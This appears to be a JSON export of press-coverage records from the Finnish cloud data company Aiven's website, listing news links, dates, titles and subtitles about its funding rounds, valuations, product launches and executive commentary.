{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2jY4KnCI5awQPFW3Rj0MpJ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.sdxcentral.com/articles/news/headcount-firings-hirings-and-retirings-february-2020/2020/03/","publishedAt":"2020-03-04T21:00:00.000Z","subtitle":"Aiven added Larry Irvin to its executive team where he will serve as VP and GM of the Americas.","title":"Headcount: Firings, Hirings, and Retirings — February 2020"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2nMhvOux557zkuutLT576J","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://newsdio.com/aiven-raises-40-million-to-democratize-access-to-open-source-projects-through-managed-cloud-services-newsdio/43832/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, which provides managed cloud-based services designed to make it easier for companies to create services on open source projects, today announces that it has raised $ 40 million in funds, a Series B led by IVP (an important player) in business software","title":"Aiven raises $ 40 million to democratize access to open source projects through managed cloud services"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2r4siGgOWHq0RCj00y5XR7","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://data-economy.com/aiven-raises-40m-to-accelerate-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a startup that combines open-source technologies with cloud infrastructure, has announced that it has raised $40m in Series B funding, bringing the total funds raised to $50m.","title":"Aiven Raises $40m To Accelerate Open Source Cloud Platform"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2t7dyXnvZJZiXOmGwXe1wx","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.businessinsider.com/finnish-startup-aiven-raised-50-million-open-source-cloud-2020-2?r=US\u0026IR=T","publishedAt":"2020-02-22T21:00:00.000Z","subtitle":"Finnish startup Aiven used these slides to raise $50 million for a cloud platform that helps businesses manage open source projects","title":"Finnish startup Aiven used these slides to raise $50 million for a cloud platform that helps businesses manage open source projects"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2zAnkVg75XhlLzhRzkd8jZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/europe-startup-rounds-2021/","publishedAt":"2021-07-08T21:00:00.000Z","subtitle":"Finland’s tech ecosystem is on a roll: investment in Finnish startups almost doubled between 2019 and 2020 and Helsinki saw its VC investment grow 62% in 2020. ","title":"In data: Europe’s largest funding rounds of 2021"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"328NIhrnQvKNiJsfhl4FOz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://mspalliance.com/ccpa-readiness-guide-for-msps/","publishedAt":"2019-11-12T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and Co-Founder at Aiven had this to say about Microsoft’s decision. “Microsoft’s move to honor CCPA across the United States is a signal to other companies to follow, considering other states will be creating their own versions of the law. ","title":"CCPA Readiness Guide for MSPs"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64F5ZNWv9Ee4zV9fJrOVYN","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.talouselama.fi/uutiset/suomen-uudella-yksisarvisella-sadan-prosentin-kasvu-joka-vuosi-porssiin-kun-liikevaihto-on-sata-miljoonaa/6e4cf303-5815-4117-b458-248427fe4902","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Asiakkaina Aivenilla on jo useita miljardiliikevaihtoa tekeviä yhtiöitä.","title":"Talouselämä: Suomen uudella yksisarvisella sadan prosentin kasvu joka vuosi"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"34rVayicgn6aMNm0KArzXh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.sdxcentral.com/articles/news/money-moves-february-2020/2020/03/","publishedAt":"2020-03-10T21:00:00.000Z","subtitle":"Here are some of the most prominent venture capital and merger and acquisition news items from the past month.","title":"Money Moves: February 2020"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"35kJJZXKceAP8r60J3Nk9n","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/data/python-or-r-which-to-choose-for-your-next-data-project/","publishedAt":"2021-06-28T21:00:00.000Z","subtitle":"\"R is specifically related to statistics, with most of the statistical algorithms having their first release in R and it is used in related introductory courses. This makes R a good fit for exploratory data analysis with a very low barrier to go from data, to insights, creating stunning reports, dashboards or APIs,” said Francesco Tisiot, developer advocate at database as a service company Aiven.","title":"SD Times: Python or R - which to choose for your next data project"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"38AQy1sL1YpHYqkaFafyvt","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000007874685.html","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Article in Finnish and behind a paywall","title":"HS Visio: Supercelliin uskoneet jättirahastot sijoittavat nyt suomalaiseen Aiveniin"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3GHwdQOnZOoGpjwKImZrbk","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.talouselama.fi/uutiset/miljardisarjaan-noussut-suomalainen-aiven-rekrytoi-koodareita-etatoihin-ympari-maailmaa-suurin-osa-uusista-tyontekijoista-ei-ole-edes-kaynyt-toimistolla/0264c612-a8bf-49da-956e-3a6b442feba4","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Tällä viikolla uudesta rahoituskierroksesta kertonut ja yksisarviseksi kasvanut Aiven auttaa ohjelmistoillaan asiakkaitaan datan hallinnassa avoimissa pilvipalveluissa.","title":"Talouselämä: Miljardisarjaan noussut suomalainen Aiven rekrytoi koodareita etätöihin ympäri maailmaa"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3IRzybl1O7mWgRP4PSih00","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.forbes.com/sites/brucerogers/2021/06/14/aiven-builds-fast-growing-open-source-managed-cloud-services-subscription-business/?sh=3f4119402877","publishedAt":"2021-06-13T21:00:00.000Z","subtitle":"\"Saarenmaa attributes Aiven’s success to his and his fellow founders’ deep understanding of and commitment to the open-source developer community that comes from having been one of them, as well as for the collaborative nature of his team.\"","title":"Forbes: Aiven Builds Fast-Growing Open-Source Managed Cloud Services Subscription Business"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3Q0f9FF2AvIycUhNuC4ufl","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.thecloudcast.net/2021/04/expanding-open-source-in-cloud.html","publishedAt":"2021-04-27T21:00:00.000Z","subtitle":"Heikki Nousiainen, co-founder and CTO at Aiven, talks about how Aiven delivers a broad set of open source data and messaging services via the public cloud, as a managed service. ","title":"The Cloudcast: Expanding Open Source in the Cloud"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3QgjI7zQqVRzLI8ddQxYa4","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2019/10/22/above-the-trend-line-your-industry-rumor-central-for-10-22-2019/","publishedAt":"2019-10-21T21:00:00.000Z","subtitle":"“The migration effort by Amazon to transfer consumer business data out of Oracle and into Amazon owned services, Aurora and RDS, shows a strong shift in platforms putting forth cost-effective licensing strategies that root from leading databases the software is based on,” commented Heikki Nousiainen, CTO at Aiven.","title":"“Above the Trend Line” – Your Industry Rumor Central for 10/22/2019"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3SrjyUROxipeYcE53usBKJ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://newsfounded.com/finlandeng/finnish-software-startup-raises-significant-investment-in-silicon-valley-a-four-year-old-company-worth-up-to-eur-236-million-finance/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a software company founded by four Finnish software developer in 2016, $ 19 million in risky money, the company announced Wednesday. When business files move from local data centers to the cloud, the software can replace local work.","title":"Finnish Software Startup Raises Significant Investment In Silicon Valley"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3Uz9VS2cY4FsqczYMIjlWI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lifewire.com/how-to-make-better-passwords-5197073","publishedAt":"2021-08-10T21:00:00.000Z","subtitle":"\"With multi-factor authentication, you get a new password every time you need it,” James Arlen, a security expert at cloud data firm Aiven, told Lifewire in an email interview. “It's much harder to guess a password that changes every minute.”","title":"Lifewire: How to Make Better Passwords"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3aUvij8ZwEC1lv6uvV5Qpo","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.datanami.com/this-just-in/aiven-for-apache-kafka-now-available-in-aws-marketplace/","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"Aiven, a startup that combines open source technologies with cloud infrastructure, announced that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka.","title":"Aiven for Apache Kafka Now Available in AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3awSn1D7EuLfO0OHqkErlC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.itproportal.com/features/ten-reasons-why-the-public-cloud-is-right-for-you/","publishedAt":"2021-06-17T21:00:00.000Z","subtitle":"Ten reasons why organizations should consider public cloud over private and in-house solutions. By Aiven's CTO Heikki Nousiainen.","title":"Ten reasons why the public cloud is right for you"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3iOoN2tbGCv0PF53bN1EmE","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://blog.softwaremill.com/facts-about-kafka-every-business-should-know-1249a3b9db74","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"Apache Kafka is an open-source stream processing platform developed by the Apache Software Foundation written in Scala and Java. It aims to provide a unified, high-throughput, low-latency platform for handling real-time data feeds and is capable of handling trillions of events a day.","title":"Facts about Kafka every business should know"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3n26fEmDVxH2L6o82j9IQS","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insights.dice.com/2021/08/12/cloud-data-growth-will-affect-jobs-in-2021-and-beyond/","publishedAt":"2021-08-11T21:00:00.000Z","subtitle":"Lorna Mitchell, head of developer relations at Aiven, thinks the cloud is a pretty safe trend to bet on: “I think ‘what’s next’ will mean moving beyond doing what we already know, but in the cloud instead of the datacenter.\"","title":"Dice: Cloud Data Growth Will Affect Jobs in 2021 and Beyond"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3pu8lp0FZhtbxErWUqtcrV","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://tech.eu/brief/these-were-the-10-biggest-european-tech-stories-this-week-7-february-2020/","publishedAt":"2020-02-09T21:00:00.000Z","subtitle":"Aiven, a Helsinki-based cloud technology startup, has raised a $40 million Series B round led by the Silicon Valley-based Institutional Venture Partners (IVP), with participation from Earlybird and other investors.","title":"These were the 10 biggest European tech stories last week"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3q2bq62PQbDmwdLFZjfnNv","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streetfightmag.com/2019/12/18/companies-are-struggling-to-manage-iot-data-heres-why/#.Xs-cwBMzY3F","publishedAt":"2019-12-17T21:00:00.000Z","subtitle":"The devices around us are getting smarter. From the consumer’s perspective, that means refrigerators are sending notifications when the milk is running low, and thermostats are turning down the temperature when there’s no movement in the house.","title":"Companies Are Struggling to Manage IoT Data. Here’s Why"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3qFMMthiDZl4oNZAFM4Z6J","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/finlands-top-startups-scaleups/","publishedAt":"2021-08-26T21:00:00.000Z","subtitle":"The company raised a $100m Series C funding round in March, giving it a valuation of around $800m and making it one of Finland’s “soonicorns”. Aiven says it is planning to double its headcount over the next 12 months.","title":"Sifted: Finland’s top startups and scaleups to watch"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3sQxas5z6qQ8BIet40I31t","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://enterprisersproject.com/article/2019/12/tech-predictions-2020","publishedAt":"2019-12-17T21:00:00.000Z","subtitle":"IT leaders look at the road ahead and predict what’s next for RPA, AI, 5G, quantum computing, cybersecurity, and more.","title":"17 tech predictions for 2020 – and beyond"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3u42kN8IU3a8KpDxgAFvVC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.springerprofessional.de/datenmanagement/unternehmensprozesse/unternehmen-muessen-ihre-datenarchitektur-modernisieren/19996564","publishedAt":"2022-02-11T08:00:00.000Z","subtitle":"Heikki Nousiainen, CTO at Aiven, discusses why organizations need to modernize their data architecture. ","title":"Unternehmen müssen ihre Datenarchitektur modernisieren"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3w5vmSQroC8g6Nw2Z9Y9Hz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.axios.com/newsletters/axios-pro-rata-a5a0e6aa-5038-4852-8efd-fe7ac20d6a9c.html?utm_source=newsletter\u0026utm_medium=email\u0026utm_campaign=newsletter_axiosprorata\u0026stream=top","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Finnish cloud data platform, raised $40 million in Series B funding. IVP led, and was joined by Earlybird VC and Lifeline Ventures.","title":"Axios Pro Rata (Newsletter)"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4AXZHzahe1gBpZu25BMjKp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.enterpriseai.news/2020/04/21/ibm-flat-despite-cloud-gains-hpe-declares-dividend/","publishedAt":"2020-04-20T21:00:00.000Z","subtitle":"In a financial earnings season like none before, two of the world’s largest enterprise IT infrastructure vendors appear headed in opposite directions.","title":"IBM Flat Despite Cloud Gains, HPE Declares Dividend "} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4DsSqccRDfUllQlFPjJnVK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computerweekly.com/news/252475618/AWS-hits-back-at-open-source-theft-allegations","publishedAt":"2019-12-16T21:00:00.000Z","subtitle":"New York Times accuses the public cloud provider of taking open source products and integrating them into its own managed services","title":"AWS hits back at open source theft allegations"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4KKL9Twb4qT4eOWahJxyk6","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.darkreading.com/edge/theedge/10-mistakes-companies-make-in-their-ransomware-responses/b/d-id/1341508?page_number=8","publishedAt":"2021-07-20T21:00:00.000Z","subtitle":"Hit by ransomware? These missteps can take a bad scenario and make it even worse.\n","title":"Dark Reading: 10 Mistakes Companies Make In Their Ransomware Responses"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4Q6ds1Cvi5DmtPfDhPwKLr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bloomberg.com/news/articles/2022-05-11/finnish-startup-aiven-gets-eurazeo-funds-at-3-billion-valuation","publishedAt":"2022-05-12T08:00:00.000Z","subtitle":"Finnish software startup Aiven has raised $210 million of new funding, giving the company cash to expand abroad and hire developers. ","title":"Finnish Startup Aiven Gets Eurazeo Funds at $3 Billion Valuation"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4p4d6OFxlLzBHc9A4RKOHO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/softwaredev/documentation-continues-to-be-a-thorn-for-developers/","publishedAt":"2020-04-23T21:00:00.000Z","subtitle":"Few tasks can make a developer groan more than the process of documenting their code. As important as documentation is, it’s a task that has always gotten set as a low priority for developers, which leads to problems down the line. ","title":"Documentation continues to be a thorn for developers"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4sJ1o1msE2hOJGbo5vX5bF","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.eu-startups.com/2021/06/we-began-to-realise-that-applications-in-the-future-would-all-be-built-on-the-cloud-interview-with-aivens-ceo-and-cofounder-oskari-saarenmaa/","publishedAt":"2021-06-03T21:00:00.000Z","subtitle":"“We began to realise that applications in the future would all be built on the cloud”: ","title":"EU-Startups: Interview with Aiven’s CEO and cofounder, Oskari Saarenmaa"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4t1lhZrMFrmS9gmeGVx5o8","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.siliconrepublic.com/start-ups/finnish-cloud-and-open-source-company-reaches-2bn-unicorn-valuation","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven’s track record in the open source community which it plans to build on, has been praised by investors including IVP and World Innovation Lab.","title":"Silicon Republic: Finnish cloud and open source company reaches $2bn unicorn valuation"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4w8DhAlbJwv3oP86qs5J7F","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techinasia.com/meet-opensource-cloud-platform-bringing-companies-digital-age","publishedAt":"2022-05-11T08:00:00.000Z","subtitle":"Oskari Saarenmaa, CEO of Aiven, discusses how Aiven platform brings companies into the Digital Age","title":"Meet the open-source cloud platform bringing companies into the digital age"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4xLZuBnvMWAfJj4JkcqxKf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.digitaljournal.com/tech-and-science/technology/q-a-how-to-remain-compliant-in-the-cloud/article/567360","publishedAt":"2020-02-18T21:00:00.000Z","subtitle":"To meet data privacy requirements, businesses seeking to adopt cloud technology need to ensure they opt for a solution that comes with security on all accounts. Heikki Nousiainen, CTO of Aiven explains the compliance requirements.","title":"Q\u0026A: How to remain compliant in the cloud"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64cGXac8ENBUwak1YArw3X","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://linuxinsider.com/story/Devs-Engage-in-Soul-Searching-on-Future-of-Open-Source-86282.html","publishedAt":"2019-10-07T21:00:00.000Z","subtitle":"Open source development involves more than maintaining a balance, observed Heikki Nousiainen, CTO at Aiven.","title":"Devs Engage in Soul-Searching on Future of Open Source"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5ANNEIaihIINkdj7Ot8xGZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techcrunch.com/2021/10/18/aiven-snags-60m-investment-on-2b-valuation-up-from-800m-in-march/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven, a Finnish startup that helps companies combine various open source technologies with public cloud infrastructure resources, announced a $60 million investment on a $2 billion valuation today","title":"TechCrunch: Aiven snags $60M investment on $2B valuation, up from $800M in March"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5CD8MBBXPz2uiAx0v4tBvB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.theregister.com/2021/10/19/aiven_valuation/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Finnish open-source-as-a-service provider Aiven has attracted a $60m extension to its Series C funding which now values the firm at $2bn.","title":"The Register: WTF? Value of Finnish open-source-as-a-service startup Aiven jumps $1.2bn in 7 months"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5EXfMyxfuNd4M3pw78ukIf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techrepublic.com/article/apple-and-google-to-prevent-contact-tracing-apps-from-tracking-your-location/","publishedAt":"2020-05-05T21:00:00.000Z","subtitle":"The built-in technology would ban the use of GPS location data to monitor contact with people who test positive for COVID-19.","title":"Apple and Google to prevent contact tracing apps from tracking your location"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5Pl0jMjlycxuKG5jsN0uzD","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.businessinsider.com/elastic-open-source-licenses-amazon-elasticsearch-kibana-2021-1?r=US\u0026IR=T","publishedAt":"2021-01-24T22:00:00.000Z","subtitle":"Elastic’s recent license change and its long-term impact for the open source community. The article is behind a paywall. ","title":"Business Insider: $14 billion Elastic made a big stand against Amazon's cloud and reignited a fierce open source debate"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5UOU1fk20eIzjd271OolkM","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.expresscomputer.in/news/aiven-increases-access-to-managed-apache-kafka-by-providing-it-on-aws-marketplace/50568/","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"The move enables AWS customers to easily access Aiven’s data management solution.","title":"Aiven increases access to managed Apache Kafka by providing it on AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5XXHMo9RlxRH7GRjBq37AV","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.americaninno.com/boston/funding-boston/finnish-cloud-startup-aiven-raises-40m-plans-boston-expansion/?mc_cid=4c9a73006e\u0026mc_eid=8d659a7e89","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40 million in a Series B round. The company’s goal is to combine open-source technologies with cloud infrastructure.","title":"Finnish Cloud Startup Aiven Raises $40M, Plans Boston Expansion"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64wBFhuLvyqvwyLapcfCJB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2021/08/26/heard-on-the-street-8-25-2021/","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"\"Google’s growth is a direct indicator of the upward trajectory of the cloud. The public cloud market is expected to total $304.9B in 2021 due to the popularity of managed database and cloud services, and another overlooked portion that I anticipate will continue to gain traction is open source.\" ","title":"insideBIGDATA: Commentary by Heikki Nousiainen, CTO at Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5iXNpNOKjwOBTSWEfUdT8G","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://opensourceforu.com/2020/02/aiven-raises-40-million-in-series-b-funding/","publishedAt":"2020-02-10T21:00:00.000Z","subtitle":"According to a report by Data Economy, Aiven, which combines open-source technologies with cloud infrastructure has announced it has raised $40 million in Series B funding.","title":"Aiven Raises $40 Million In Series B Funding"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5j4DnhQ9AZjoLyetbwMnNe","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://qz.com/emails/daily-brief/1857134/","publishedAt":"2020-05-12T21:00:00.000Z","subtitle":"We asked Quartz tech reporter Amrita Khalid to do some digging on whether someone using a virtual private network for work or personal privacy reasons might cause a rift in the contact tracing continuum.","title":"Daily Brief: \"Coronavirus hack allegations, earnings insight, judgy neighbors\""} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5jX2yhSxD5PNfuJ0ndrQVr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://aiven.io/","publishedAt":"2019-12-25T21:00:00.000Z","subtitle":"TODO","title":"Rocket growth player Aiven received 35 million pots from Supercell's familiar fund"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5ruiaAzeyqF2baUsI2iszR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.zdnet.com/article/aws-as-predicted-is-forking-elasticsearch/","publishedAt":"2021-01-21T22:00:00.000Z","subtitle":"Aiven CEO Oskari Saarenmaa says \"Many pieces of software that have now been restricted by the owner were built on top of an array of other open-source projects one way or another.\" ","title":"ZDNet: AWS, as predicted, is forking Elasticsearch"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5uh4lXxrNVBbuuWjoeA7YH","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.helpnetsecurity.com/2021/02/17/achieving-devsecops/","publishedAt":"2021-02-16T22:00:00.000Z","subtitle":"The most significant barrier to achieving DevSecOps is the continued perception that “Sec” is not already a part of “Dev” and “Ops”, says James Arlen, CISO at cloud data platform provider Aiven.","title":"Tips for boosting the “Sec” part of DevSecOps"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5wZSUFPWzJJ8PnhaApzbbR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/softwaredev/sd-times-news-digest-cheerpj-2-0-splice-machine-partners-with-heirloom-computing-on-modern-mainframe-apps-and-aivens-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven raises $40 million for its open-source cloud platform","title":"SD Times news digest: CheerpJ 2.0, Splice Machine partners with Heirloom Computing on modern mainframe apps, and Aiven’s open-source cloud platform"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5xFmATx4OcODmGwIUnGYYb","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techblitz.com/aiven/","publishedAt":"2021-05-05T21:00:00.000Z","subtitle":"In Japanese","title":"Techblitz: Cloud-managed open source software makes infrastructure construction easier "} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"61QY66DmXaefiwbU06sT04","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.dbta.com/Editorial/News-Flashes/Aiven-Raises-40-Million-in-Latest-Funding-Round-to-Expand-Integrations-139084.aspx","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a startup that combines the open source technologies with cloud infrastructure, has raised $40 million in Series B funding, enabling the company to add new integrations and innovations.","title":"Aiven Raises $40 Million in Latest Funding Round to Expand Integrations"} 